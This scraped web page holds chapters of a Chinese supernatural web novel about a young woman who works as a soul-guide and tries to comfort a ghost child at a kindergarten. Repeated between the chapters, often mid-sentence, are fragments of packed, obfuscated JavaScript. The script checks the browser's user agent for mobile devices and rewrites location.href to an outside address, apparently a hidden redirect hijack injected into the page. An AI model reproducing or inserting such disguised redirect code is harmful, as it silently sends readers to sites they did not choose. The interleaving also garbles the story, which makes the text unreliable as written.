l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899837|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活着事儿还多。 而且,现在还不能辞职。 白心发送完请假流程,重新切换到聊天软件,点开了和钱一茜的对话框,准备问问关于赵志雄手表的事。 刚打上一个字,张蔷就回复道:OK! 组长一向爽快,白心知道她不会拒绝,尤其是她这种可有可无的小喽啰,只要不死就没人在乎。 对不起。白心伸出食指,把组长的消息向上缩回去,心说我也不是故意要死的。 她的两个大拇指放在屏幕键盘上,正重新准备打字,上面就又弹进来一条消息。 -好友申请:赵志雄请求添加你为好友。 白心眉头一皱,我还没问你呢,你自己就送上门了。 她没有犹豫,点击同意,然后问道: 你好,什么事? 我倒要看看你要说什么。白心看着对话框上面的“对方正在输入”,心想,你擅闯民宅,我还没找你算账呢! 赵志雄编辑了一会儿,发来:你好,请问你家里有没有我的手表? 白心直接回复:有,怎么了? 也不必要玩兜圈子套话那一套了,有钱一茜在中间,想必赵志雄也已经知道了白心知道了这件事。 赵志雄:那天送你回家,在楼下遇到了你弟弟,我们不小心打了一架,我的手表被他抢走了,是他送你回的家。 ??? 白心看着这行字,眼珠子都快瞪出来了。 你弟弟?白子涵?打了一架?这几个词语组合起来,仿佛脱离了中文范畴,白心怎么看也看不明白。 赵志雄又说:你今天是请假了吗? 白心立即回复:是。 赵志雄也很快回复:这件事一两句说不清,如果可以,今天下班后我们找个咖啡厅说吧,请你带上我的手表。 白心捏着手机,脑子像被人抽出来放在火锅里涮了涮,CPU都烧熟了。 -好。她机械地打字,发送。 白子涵?白心想起昨天她在开会的时候白子涵发来的那几条信息,顿时觉得诡异,白子涵抽什么风了? 不好好在家学习,跑来她家做什么?不打招呼来就算了,还跟她同事打了一架?还不小心打的? 白心退出和赵志雄的聊天窗口,点开和白子涵的对话,最后一句还停在白子涵那句“没事”。 她打字问道:白子涵,你在吗? 白子涵没有回复。 九点二十分,白心看了眼时间,估计是在补习班。 应该中午会回复。白心看着手机屏幕,头上不自觉冒出了冷汗,感到汗颜的同时也有点不知所措。 这俩神经病跑她楼下打架干什么?白心无法理解。 关键是,那天组长也在。 根据邹家财提供的信息,她知道了周五晚上是组长送的她,但从钱一茜的嘴中,她又得知那天赵志雄也送了她。 现在又多出来了个白子涵—— 到底谁送她回的家? 最重要的还不是这些。白心看着白子涵的头像,想,最重要的是那只手表被丢在了煤气罐下面。 白心头上的汗越来越多,她不敢往那方面去想。 天人交战中,她的手里忽然一震。 白心的思绪瞬间被拉拢,她看向手机,上方一个熟悉的头像弹出来一条信息。 徐珊:今天晚上有空吗?想约你喝个咖啡。 44.沉默的幼儿园(十一) 当你在同一天有多件事要做,你会怎么分配时间? 小学数学有一类题目叫做统筹,其概念是在有限的资源下,通过巧妙的规划安排,用最高的效率、最短的时间或最少的成本完成任务。 白心趴在床上,看着手机里徐珊的信息,大脑里迅速排演了一遍今天的所有待办事项。 1.去找左慈,还裤子的同时了解她要交待的事;2.去找白子涵,面对面质问周五晚上到底怎么回事;3.去找李婧,当面了解蓝天幼儿园的小孩;4.带上手表,等赵志雄下班同时问清当晚的具体经过;5.背上相机,答应徐珊的邀请下班时间和她去喝咖啡顺便请教如何洗照片;6.早早回家,等陈灵一起回来吃晚饭。 好想死。 白心闭上双眼,拒绝做这道小学生都会的题。她一想到今天要见一堆人,说一箩筐的话就很想死。 好烦。她把手机丢在一旁,翻了个身仰面朝天,睁开眼看着白色天花板,觉得一阵烦躁。 以前周末两天都不一定见一个人,现在一天要见五个人,她的社交引擎还没发动就已经快熄火了。她发过烧的脑子还是一阵生疼,浑身也软绵绵的使不上力,弱得还不如林黛玉,连葬花的力气都没有。 到底哪来这么多事?!白心又翻了个身,把脸埋在枕头里,恶龙咆哮了几声,发泄着她的不爽。 “嗡嗡嗡——”手机又是一阵震动。 谁啊!白心愤怒地把脸抬起来,一把拿过手机,心想哪个不长眼的家伙正往她枪口上撞。 陈灵:去上班了没?药喝了没? 白心看见陈灵的消息,刚上膛的子弹瞬间成了哑弹,一下子熄火了。 急躁的心忽然就平复了许多,她乖乖打字回复:喝了,今天没去上班。 说没喝会被骂得狗血淋头。 陈灵:嗯,好好在家休息。 对话结束。 白心捧着手机,苦笑了一下,心说我倒是想。然而就这么短短几句对话,竟然惊奇地让她烦躁的心情好了许多。 要不这样吧?白心坐了起来,趁着心情还算平静,绞尽脑汁思考。 先去二楼左慈家还裤子,然后出门找李婧吃个午饭,下午去白子涵补习班等他下课,带着他一起去找赵志雄,同时掐好时间把徐珊约到同一个咖啡厅聊洗照片的事,最后早早收工,回家和陈灵一起吃晚饭。 Perfect!白心打了个响指,简直完美! 一不做二不休,白心立即回复了徐珊的消息,弹射起床把药喝了,用最快的速度换好出门的衣服,马尾一扎,带上东西就准备出发。 拖延癌症的她必须这样,做事全凭一口气,要是这口气没撑起来,那她这一天基本也就撑不起来了。 白心左手提着手提袋装的牛仔裤,右肩膀背了个大相机,兜里还揣着用保鲜袋包好的手表,穿着白T黑裤,扎着潦草马尾,随便戴了个白色棒球帽就出门了。 门刚打开,就碰上了同样提着大包小包出门的邻居。 白心站在门口,和高姐面对面。高姐的左右手各提一个大黑塑料袋,里面满满当当,不知装的是什么。 白心愣了一瞬,微微低头,率先开口:“您好。” 不算昨天早上,这是她们第二次正式会面。 高姐眯了眯眼睛,略微沙哑的声音略微回应道:“你好,白心。” 说完后转过身,伸出一只脚把门关上了。 白心心里一惊,心想她竟然记得我。她的视线下移,看见高姐的左右手被塑料袋勒得很紧,里面的东西似乎分量很重,而且…… 而且还往下慢慢滴着红色的水。 “你先走吧。”高姐转过身来,微微笑着看着白心,下巴朝楼梯抬了抬。 这是真的皮笑肉不笑了。白心心里又是一跳,赶紧用脚把门关上,先一步下楼。 高姐笑起来比不笑更是恐怖,嘴角勾起来正好和她左脸的那道红色伤疤接应,伤疤上面是她耷拉下来的左眼,无神且浑浊,像一条长长的红色蜈蚣盘在脸上。 白心三步并作两步往下走着,生怕走慢了高姐就会在后面索她的命。然而当她一声不吭闷头狂下了三层,才发现高姐还在六楼,正气喘吁吁慢慢往下挪动着。 白心停下脚步,听见上面传来熟悉的漏气呼吸声。 她狠狠咬了一下嘴唇,不管了—— 白心转过身,三步并作两步重新跑上去,把右肩的相机挪到左肩背着,空出的右手一把抢过高姐手里的袋子,又转身一声不吭地闷头往下跑。 高姐一愣,手里突然一空,看着前面提着垃圾跑走的女孩,有点不知所措。 “等等——” 在白心彻底消失在她的视野前,她用力喊了一声,声带都扯得一阵疼痛。 白心听见身后的呼喊,脚步一顿,站在台阶上回头看。 高姐站在两层楼之间的转角处,身后是楼道的窗台,明亮刺眼的阳光照在她单薄瘦削的肩膀和背上,长长的影子倒映在楼梯台阶上,一直延伸到白心的脚边。 “怎么了,”白心看着因为反光而看不清的高姐的脸,问道,“高姐?” 这是她第一次正式称呼她。 “我叫高杏。”高姐站在原地,右手把着楼梯的铁栏杆扶手,自我介绍道。 嗯?白心看着上面的女人,有点不明所以。高兴?倒是个好名字,就是人看起来倒是挺不高兴的,但是——为啥突然告诉她这个啊? “你是个好孩子。”高姐又说道。 白心:? 这是闹哪样?白心眯起眼睛,高姐的表情模糊不清。 “你有一颗纯白无暇的心,”高姐看着台阶下背着大包小包,眯着眼睛的女孩说道,“你妈妈给你起了个好名字。” 白心站在原地,一动不敢动,不知道高姐突然是咋了,怎么聊着聊着聊到她妈了。 “周五那天,你喝醉了,你家里进了很多人。”高姐又说道。 白心的眼睛突然睁大。 “那天我也在家喝酒,也喝醉了,”高姐继续说道,声音沙哑,“你的同事敲我的门想借点解酒药。” 同事?哪个同事?白心低下头,迅速在大脑里浏览——不是白子涵送她回家的吗? “你看见我也醉了,就说不用了,把药留给我,还说让我去你家吃饭。” 高姐微躬着腰,慢慢说着,“我一把年纪了,没有人关心我,你是第一个。” 所以—— 白心猛然醒悟,所以高姐才会半夜趴在她的门口看她?就为了看她酒醒了没? 高姐笑了一下:“我这副样子,谁看了都会害怕,所以我也怕吓到你,没想到你胆子还挺大的。” 不是胆子大,白心不知所措中想,只是被吓懵了。 下一秒,她又皱了皱眉,觉得不对啊,明明第二天中午她就和高姐打了照面,为什么后面还要趴在她的门上看?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903365|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你的同事,你要注意点。”高姐又说道。 白心猛地抬头看向转角处的女人,问道:“哪个同事?男的还是女的?高的还是矮的?” 高姐摇摇头,咳了几声,说道:“我记不清了,那天我也醉得厉害,只记得是一个女孩,和你差不多大,比你高一点点。” 女孩。白心点了一下头,顿觉不对,女孩? 组长比她高了一个半头,大了一个半轮,哪来的女孩?白心心跳突然加快,除了组长,还有谁进来了? “她有点,我说不出来的奇怪,”高姐又说,“而且和你似乎不是很熟。” 白心:? 她的身上突然起了一片鸡皮疙瘩,从后背一路爬到头顶。什么叫不是很熟的一个女孩,还出现在了她家? 见鬼了吗? “那个……”白心终于主动问道,“我想问一下,您还记得,那天我家一共来了多少人吗?” 白心看似冷静,实则心里已经麻了。没有什么比一群人在一个社恐喝醉的情况下闯入她家更恐怖的了,最关键的是里面还有个不熟的人。 听到白心的问题,高姐又摇了摇头,回答道:“不记得,只听到外面很吵,只有你同事一个人敲门找我借药。” 听完,白心心乱如麻。 该死的赵志雄,就不该跟你喝酒!白心咬牙切齿,喝个酒不仅间接导致她死了,还引起了这么多蝴蝶效应,该死的男人,你去死吧! 正想着,兜里的手机忽然一阵震动。 “谢谢你。”高姐站在光里,轻声道谢。 “不客气,”白心立即转身,往下走去,“有空来我家吃饭。” 高姐的事搞清了,她自己的事反而乱成浆糊了。白心提着牛仔裤和两大袋垃圾往下走,根本腾不出手来看手机。 走到一楼,白心把垃圾扔掉,手机又震动了起来。 她站在树荫下,看着发信息来的正是这一切的罪魁祸首。 赵志雄:抱歉,今晚要在公司加班,我们明天上班再说。 白心捏着手机,恨不能把屏幕对面男人的脑壳捏碎。 捏了一会儿,忽然想到这是陪伴自己多年的爱机,可不能弄坏了,又赶紧松开手,把赵志雄的消息弹走,拉下状态栏查看之前震动的消息。 是物流信息。白心打开某宝,看见运输轨迹很清楚,监控要明天才能到。 虽然现在是不用了,白心想,高姐的动机已经清楚了。但是,外面不用里面要用啊啊啊!! 她实在没想到,只是一个晚上的疏忽,她的家里就莫名其妙进来这么多人。 那个女孩。白心想起高姐的话,不禁打了个哆嗦——到底谁啊? 她宁愿相信高姐是喝多了出现重影把张蔷看成了一大一小两个人,也不想接受她的家里进来了一个陌生的女孩。 姐们你谁啊? 白心切换回聊天软件,准备给李婧发信息约她吃午饭。 刚打开聊天框,她忽然想起借的裤子还没还,于是把手机放回兜里,抬起头重新向刚才的楼道走去。 左慈有什么事要交代的?白心不禁感到一阵奇怪,她俩八杆子打不着关系,一个捉鬼师一个引渡人,一个富可敌全小区一个穷得入不了地狱,有啥可交代的? 而且—— 白心看着手提袋里的牛仔裤,隐隐觉得不对劲。 左慈那么高大,家里怎么会有跟她的尺码一样的裤子? 45.沉默的幼儿园(十二) 白心带着一肚子疑问上楼,站在左慈的家门口,伸出手敲了敲门。 一伸手,白心就看见自己的手也被刚才那两袋沉重的垃圾勒出了几道痕,敲完,她抬起手臂来把手伸到鼻子底下,仔细嗅了嗅。 鱼腥味。 高姐在家杀鱼?白心放下手,皱了下眉,想起刚才垃圾袋里滴下来的红色的水。 怪不得她的表情看起来跟已经在某润发杀了十年的鱼一样冰冷,白心笑一下,高姐说的话回荡在脑子里。 没有人关心我。她说,你是第一个。 只是邀请她吃个饭、帮她扔个垃圾而已,白心想,这就叫关心吗? 换句话说,没有一个人请她吃过饭、帮她做随手扔垃圾这种唾手可得的小事吗?白心叹了口气,心想我要不是早死,估计老了也和她一样。 这个世界对于精力旺盛的社交达人来说是easy版本,而对她们这种精力低下社交恐惧的边缘群体来说却是地狱级难度。从某种程度来说,她们也算是逆天而行,白心一直认为,自己能安全无恙、没有心理疾病地活在这个世界上已经是个奇迹了。 这不,老天也看不下去,直接让她享年二十五岁了。 白心盯着左慈家的大门发呆,好一会儿才意识到没人开门。 嗯?她有些疑惑,又伸出手敲了敲。 还是没人开门。 不是说白天在家吗?白心想起早上左慈的话,觉得有些奇怪。 手机震动,把白心从疑问中震醒,她掏出手机一看,白子涵终于回复了。 白子涵:姐,我在度假山庄,怎么了? 白心:…… 呵呵,她冷笑一声,好会享受啊。马上高三了还去度假,真是快哉快哉,白心无语中想,这舅舅舅妈把他宠成啥样了都,白子涵的成绩虽然本来就没什么下降空间可言,现在更是直接摆烂不玩了是吧? 赵志雄有事,左慈不在家,现在连白子涵也没空,接下来不会徐珊也要放她鸽子了吧? 下一秒,说曹操曹操到,白心的手机一震,上方跳出来徐珊的二次元头像。 徐珊:抱歉,今晚我家来客人,可能没法和你一起喝咖啡了。 白心:…… 啥意思?白心看着手机里的信息,心里无语凝噎到了极点。然而她还是保持了基本的社交礼仪,迅速打字回复道:没事,下次再约。 她没有回复白子涵的消息,而是打开了和李婧的聊天框,打字编辑道:今天中午有空吗?想约你吃个午饭。 我就不信了。白心站在楼道里,死死盯着手机。 李婧很快回复:Hi白心,对不起,今天我要去拜访幼儿园的同事,明天怎么样? 白心:…… 好好好,白心气笑了,没看黄历,今日不宜出门。她迅速转身,毫不犹豫地就往楼上走,感到无语的同时心里竟然一轻,像有块大石头忽然从心底移开了。 对一切安排妥当的高精力人士来说可能天塌了,但对白心来说塌得刚刚好。 白心一口气窜回七楼,打开门把东西稀里哗啦全部放下就直奔洗手间。 她打开水龙头,边洗手边想,正好,我就在家睡大觉! 洗完手,她又跑到冰箱,拿出了一堆食材,准备给自己做饭吃。 养精蓄锐,她一边快乐地切菜一边想,吃饱喝足睡好,晚上全力应付幼儿园的小孩,她想,这3000功德点我势必要拿下! 白心还有一个特点,就是适应速度快。这也是她为何精力值低但心态健康的主要因素,主打的就是一个易碎但难杀,十分耐活。 白心哼着歌,不一会儿就给自己捣鼓出了两盘色香味俱全的菜。她打开手机,点开动漫,坐在餐桌前大吃特吃了起来。 吃完,随便收拾几下,刷了个牙洗了把脸就又往床上扑。 趁着发饭晕,她把被子一盖就睡了起来。 虽然对胃不好,但是也只能这样了。现在不睡,她就会坐在椅子上刷一整天手机直到没力气,或者打一整天游戏废寝忘食到比高考还努力,与其浪费时间在电子产品上,不如好好睡一觉修复自己的身体划算。 而且,昨天打两份工的累还是没完全恢复,她的脑袋现在都还在隐隐作痛。 白心闭着眼,感觉大脑开始放松,心想没关系,我就睡一会儿,不会打乱作息,大不了睡到晚上陈灵下班,到时候再被她叫醒也不迟。 然而这一睡,就睡得不知天地为何物了。 白心感觉自己越睡越沉,越睡越重,一个梦接着一个梦,生生不息,藤蔓一般互相缠绕,首尾相接,无穷无尽。 她在各种各样的梦境里穿梭,每个梦里都有一张模糊的脸,轻轻地叫着她的名字。 白心,白心。 五彩斑斓的烟雾缭绕,那张脸藏在朦胧的雾里,直到最后一个梦,那张脸突然清晰,白心感觉到自己的心脏被狠狠挤压,难以呼吸,内心深处传来一阵钻心的痛,才猛地睁眼。 两道月光穿过窗帘贴在了天花板上,白心大口呼吸,两道热泪同时从眼角流下。 妈妈。 她梦见了她。 那个几乎十年未入过她的梦的女人,她的母亲。 梦的最后是她在灵堂里,十五岁的她披着白布跪了一夜,浑身酸痛却一动不动,面无表情地跪在一口大棺材前。周围的亲戚睡的睡,看手机的看手机,只有她麻木地盯着前面的烛火,感到一阵风从背后吹过来,吹掉她头上的白布。 那时的她不知道从哪里来的风,只是感觉到风很大,把她后背的头发都吹到了一起。 然而在梦里,她看见母亲站在她的背后,半跪了下来,伸出手,轻轻把她的头发拢到了一起。 妈妈在帮她扎头发。白心回过头去,看见她的母亲温柔笑着,轻轻叫着她的名字。 白心。 白心看着天花板的月光,内心忽然一阵难以忍受的痛苦,逼得她忍不住嚎啕大哭。 大梦初醒,白心哭得像个三岁的小孩,而哭的原因竟然是梦见了母亲帮她扎头发。 而妈妈从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905848|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有给她扎过头发。 白心也不知道自己为什么哭,只是本能地感到一阵难受,心里没来由地疼痛,仿佛被人捅出了一个大洞,呼呼往外漏风。她一只手不断擦着眼泪,另一只手捂着胸口,大口喘气,像个溺水的人重见呼吸。 缓了很久,她才终于逐渐平静下来。 她的胸口不断起伏,那种极致的痛仍让她心有余悸。为什么?恢复理智也无法理解,为什么只是梦到母亲,就会觉得如此痛苦。 是托梦吗?白心仍然看着天花板,想,她有听过,人死了之后是会托梦的。 但是妈妈什么要求都没有。白心回忆起刚才的梦,她只是帮她扎了个头发。 白心咽了口口水,缓缓坐起。眼泪干在了脸上,她感觉到喉咙里一阵干涸。 手机就在旁边,白心拿起来看了一眼,很多消息。 其中一条是陈灵的,说自己今晚有应酬,先不过来了。 白心放下手机,双腿屈膝,两只手环绕住双腿,紧紧抱住了自己。 下一秒,白光亮起,她的灵魂出体了。 白心转了个身,看见自己的肉身坐在床上,蜷成很小一团,脸侧放在膝盖上,头发凌乱,双眼紧闭,脸上还有刚刚哭过的泪痕。 别哭。白心伸出手,轻轻摸着自己的脸颊。 她放下手,和自己面对面,跪坐在床上。随后从手腕上取下皮筋,转到自己身后坐着,轻轻地帮自己把头发扎好。 然后,她张开了双手,大大地从背后拥抱住了自己。 白心,你很棒。她用力但温柔地抱着自己,轻声说道,你现在已经可以给自己扎头发了。 你没有成材,也没有发财,但是你乐观健康、心态良好、烦恼很少。你有小猫、有朋友,每天可以不饿肚子,独自住在五十平米的房间里,你很了不起。 能够活到二十五岁,你已经很棒了。 她抱着自己,刚刚因为梦见母亲而漏风的心里忽然被填满,一股孱弱却坚定的力量从心底油然而生。 父亲会在她的童年缺席,母亲会突然消失在她的青春期,没有人参加她的成人礼,只有她自己。这二十五年来,这颗名为白心的心脏历经风吹雨打,依然茁壮成长了。 白心,你真的很棒。 白心用力地抱了一下自己,然后放开了双手,下床往大门走去。 抬起手腕,零点十分。 她穿过自家的大门,坚定地往下走。今天必须要知道小孩的执念是什么,白心想。 白心走到楼下,和昨天一样戴好头盔,骑上机车,直奔蓝天幼儿园。 零点的街道上仍然有零散的行人和车辆,白心骑着机车穿过人群和车流,像一道白色闪电,极速前往目的地。 和她的人生一样,勇往直前,永不回头。 白心停在幼儿园门口,左边依然是那颗香樟树,右边还是保安亭。 只是今天有一点不一样。 “白心。”钟槐站在门口,笑眯眯地看着她。 “你好啊。” 46.沉默的幼儿园(十三) 白心骑在机车上,看着一身红色防护服,戴着红色头盔的钟槐,瞪大了眼睛:“你来这干嘛?” 不仅如此,她的右手还拿着一把红色机枪,机枪被钟槐扛在肩上,不能说吸睛,只能说炫酷得让人眼瞎。白心左看右看了一圈,看了半天,视线才重新聚焦到前方跟动漫手办似的少女身上。 这也没恶鬼啊,白心想,她这是来拿谁呢。 钟槐放下右手,机枪顺势向下垂去,枪口指着地面。她的左手抬起来,掌心向上,下一秒,手心里凭空出现了一个东西。 白心的眼睛又是一瞪,看着钟槐手里的那个白花花圆润润的东西,问道:“哪来的葫芦?” 钟槐的手里是个保温杯大小的白色葫芦,此刻正散发着玉一样温润的荧光,在她的手掌上静静伫立着。 “给你。”钟槐抓着葫芦对着白心就是一抛,白心措手不及,伸出两只手求雨似的接住了空中飞来的葫芦。 白心抱着葫芦,一种温和的冰凉的感觉传来,一瞬间竟然有点舒服。 “好了。”钟槐重新扛起机枪,另一只手上又突然出现了个铃铛,她拿着铃铛摇了摇,不远处立马响起一阵强烈的马达声。 “这是灵魂种子收集器,”钟槐收回铃铛,单手叉腰,“使用说明在葫芦底部。” 收集器?白心拿着葫芦,正准备看一下葫芦屁股,就听见旁边传来一阵不容忽视的轰鸣声。 白心的手一抖,葫芦就掉在了车上,哪怕是戴着头盔,她的耳朵也快要聋了。 哪个孙子啊!白心双手抱住头盔,闭着眼睛硬扛着这熟悉的声音,她想起来了——这是摩托车炸街的声音! 车主似乎格外赶急,抵达的时候带起了一大片朦胧的白雾,不知道是尘土还是尾气,待声音停止,白心睁开眼,就看见她和钟槐之间跟进了桑拿房似的一片白茫茫。 白雾逐渐散去,白心放下双手,看见雾里停着一辆和她型号差不多的黑色机车,车主一身灰色防护服灰色头盔,单脚撑在地上,后座正好在钟槐的面前。 钟槐长腿一跨就坐了上去,转头对着旁边的白心说道:“送你的东西该用就用,不要犹豫。” 白心抱着葫芦,看着前面这一灰一红两个人,前面的人脖子上还挂着个铃铛,她的脑子里一下子就想起了生物书上的那个实验。 巴甫洛夫的狗。 太会玩了,白心不禁在心里感慨道,还是你们年轻人会玩啊。 “走吧王二。”钟槐对着白心笑了一下,转头对王二发号施令,前面的狗听到主人指令,立即摆正机车,一秒冲了出去。 “……” 白心看着这来去如风的俩人,不知作何评价。她跳下机车,把车和头盔都收回手环,抱着葫芦往学校里面走,走着走着又想起昨晚的两个人。 这整装待发的样子和昨天晚上简直是云泥之别。战损版的俩人还历历在目,白心感叹道,这么快就恢复好了,还得是年轻人。 也是晓得穿防护服了。白心想起左慈的训斥,不禁笑了一下,看来也没叛逆到哪去嘛。 小屁孩。白心哼了一下,边走边把手里的葫芦拿起来看。 葫芦不大,而且很轻,泛着淡淡白光,白心把葫芦翻过来,看到葫芦底部有一行小字:打开塞子,将吸口对准灵魂的头顶或者心脏位置,即可取出其灵魂种子。 白心又把葫芦翻过来,看见顶端确实有个野生塞子。 白心的脚步一顿,想起昨天晚上朱萸的话——这就是捉鬼师用的那个啊? 这…… 白心站在原地,抬起头看着不远处的蓝天幼儿园,眉头忽然皱起。 强行取出灵魂种子,灵魂会失去所有记忆。朱萸的话浮现在耳边,钟槐的话也浮现在耳边。 该用就用,不要犹豫。 白心叹了口气,把葫芦收进手环,抬起双腿向前跑去—— 再等等,再等等吧。 白心跑到幼儿园门口,穿过铁门,和昨天一样走到了里面,同样带起了一阵警报声。 吵闹的警报声在白心身后响起,她的前面却一片寂静。 白心看到,小孩似乎是玩累了,躺在草坪上一动不动,周围也没有那些花草动物,除了学校周围的蝉鸣蛙鸣声,一点动静都没有。 白心走了过去,站在小孩的旁边,看见她闭着眼睛,不知道是睡着了还是没有。 她蹲下来,伸出手把小孩的衣服扯了扯,盖住她露出的肚皮。 嗯? 白心的脑袋往下伸了伸,仔细看着小孩胸口处那个小小的名牌—— 豆思红。 豆思红?白心赶紧对着小孩说道:“你叫豆思红吗?” 小孩睁开了眼睛。 不仅如此,白心还看到她另一侧心脏位置的衣服有很大一个裂缝。 小孩迷茫地看着白心,眼里没有任何感情。白心咽了口口水,想起亡魂图鉴里那些死得奇形怪状的鬼,还有和王二初遇时他头上的血—— 她是被人捅了心脏? 白心看着那道裂缝,忽然不敢扒开去看,不敢直面这样直接的伤害。 “豆思红?”她转移注意力,又朝小孩问道,“你是叫豆思红吗?” 小孩还是一脸茫然地看着她。 唉。白心看着她的表情,知道她是真的不懂。 白心低下头,心里有点小小的沮丧,她尚且没活明白,更不知道如何开导一个迷茫的自闭症小孩。 小孩的世界千奇百怪,什么都有可能成为执念。白心隐约记得,她小的时候就非常馋那种五毛一包的辣条,每天日思夜想,光是想到就会流口水,仅仅价值五毛钱的东西,都能成为她整个童年的牵挂。 还有的孩子喜欢什么卡牌、玻璃球、变形金刚之类的东西,那更是花样繁多数不胜数。白心低着头,感到一阵无奈,不知道该怎么办。 难道要把整个小卖部都买过来吗?白心伸出手指在地上画圈,心想她现在可是负债大户,一不小心就会成为地府老赖,甭说小卖部了,就是五毛一包的辣条她也买不起。 “痛。” 小小的弱弱的一声,从旁边传来。 白心猛地抬头。 小孩坐了起来,看着前方,又小声地重复了一遍:“痛。” 痛?白心赶紧坐了下来,对着小孩左看右看,问道:“哪里痛?” 小孩没有回答,而是不断重复着一个痛字。 心脏痛吗?白心看到她的手开始往胸口那道缝隙里伸,赶紧伸手把住了小孩的手。 “别挠。” 白心皱了皱眉,心想不应该啊,死了之后应该就不会痛了啊。然而她还是轻轻地掀起了小女孩的衣服,同时轻声说道:“姐姐看一下。” 白心把她的衣服掀上去,看见胸口的位置确实有一道小小的疤。 “这里痛吗?”白心的手指小心地指着疤的位置,丝毫不敢碰到。 小孩却突然一阵尖叫,猛地站起来向后跑。 白心也立即爬起来,看见小孩跑的方向正是大门。 “等等——”白心跟在后面,眼看着小孩就要穿过那道铁门。 红外线探测器检测到了小孩,又是一阵警报声响起,混合着小孩的尖叫声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912247|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白心突然觉得太阳穴一阵疼痛,同时心脏也一阵绞痛。 怎么回事? 白心站在小孩后面,捂着胸口忍不住蹲了下来。 好痛。白心感到心里十分疼痛,不同于昨晚在幸福小区的那种要把心脏扯出来的物理的痛,而是一种从内心深处涌出来的难以言说的痛。 难过的痛。 小孩停止了尖叫,警报声也停了下来,白心蹲在走廊处,看见小孩背朝着她,面朝着铁门一动不动。 缓了一会儿,白心觉得好些了,站起来慢慢朝着小孩走去。 白心侧过身体,躲开检测仪,和小孩一起站在了铁门前。 在看什么? 白心站在她的身后,看见她两只小手把着铁门的栏杆,目不转睛地朝外面看着。 白心顺着她的目光看去,正对蓝天幼儿园大门的是一个小型升旗台,一根栏杆孤零零地竖在那,周围一片漆黑,什么都没有。 想看升旗吗?白心看着空无一人的升旗台,不明所以。 白心看了半天也没看出名堂,索性穿了出去,站在外面转身朝小孩招手:“出来呀。” 然而小孩还是双手把着栏杆,直勾勾地看着升旗台。 白心觉得奇怪,转身走上了升旗台,又转过身看着小孩,现在她们之间的距离更远了。 小孩的迷茫的眼睛亮了一下。 嗯? 尽管一闪而过,这轻微的变化还是被白心捕捉。她看着小孩的眼睛,一种奇怪的感觉从心底升起来。 好奇怪,白心感觉到自己的心情变得雀跃,莫名其妙地开心了起来。 怎么不出来?白心看着铁门里的小孩,突然又想到这是个E级灵魂,移动范围比刘晓希还小。 出不来。 小孩看了一会儿,又转身跑走了。 “喂——”白心伸出一只手,然而小孩已经回到了幼儿园里面,警报声又响了一次。 “谁在里面!”保安大叔的声音又响了起来。 是鬼啦。白心无奈地放下手,重新朝着铁门走去,心里想着这保安真是吃干饭的,只会张着嘴问,也没见你进来过。 白心穿过铁门,回到了院子里,看见小孩这次没有玩蹦床了,而是跑到了海洋球泳池里。 白心走了过去,走到泳池旁边,看到小孩仰面朝天躺在里面,因为很轻,所以只能浮在海洋球上面。 好吧。 白心叹了口气,也翻身进去,和她一起躺在上面,心说再陪你玩一会儿。 小孩没再说话,白心也没说话,两个白色灵魂就这么静静地并排躺着,静静地看着头顶的星空。 旁边的小孩不说话。白心在心里叹气,天上的星星也不说话。 她到底要干啥?白心看着星星,那升旗台有什么可看的?她想不明白,也不知道刚才小孩到底痛在哪里。 正想着,小孩突然坐了起来。 咋了?白心也坐了起来,看见她一动不动地坐在海洋球上面,伸出一只手抠着脑袋。 白心这才看见,小孩的头发十分凌乱,皮筋松松垮垮地系在马尾末端,整个头乱的像鸡窝。 白心皱了皱眉,不自觉的伸手把小孩的手拿掉,取下她的皮筋,开始给她扎头发。 没带梳子,白心只能用手梳,她尽量把她乱飞的头发拢到一起,然后皮筋一绕,两圈之后,一个普通但好看的马尾就扎好了。 妈妈。 白心突然听到小孩说话。 嗯?她盯着小孩的侧脸,又听见了一声。 妈妈。 但是她没有说话。 47.沉默的幼儿园(十四) 朱萸在屏幕那头,看着坐在海洋球上两个人两张呆滞的脸,叹了口气。 “你是说,你听见了她的心声?”她看着表情呆愣同时夹杂着一丝不可思议的白心,问道。 白心点了点头,抿了下嘴,想要精准描述出这种感觉,奈何毕业多年语文全还给老师了,措辞了半天也没说出个所以然来。 小孩确实没有说话,但是她又确实说话了。 白心看着旁边呆滞又好奇地看着朱萸的小孩,想起刚才在走廊上那种异样的感觉。她蹲在地上,看着小孩的背影,内心深处充满了疼痛、失落和难过。 那是不属于她的感觉。 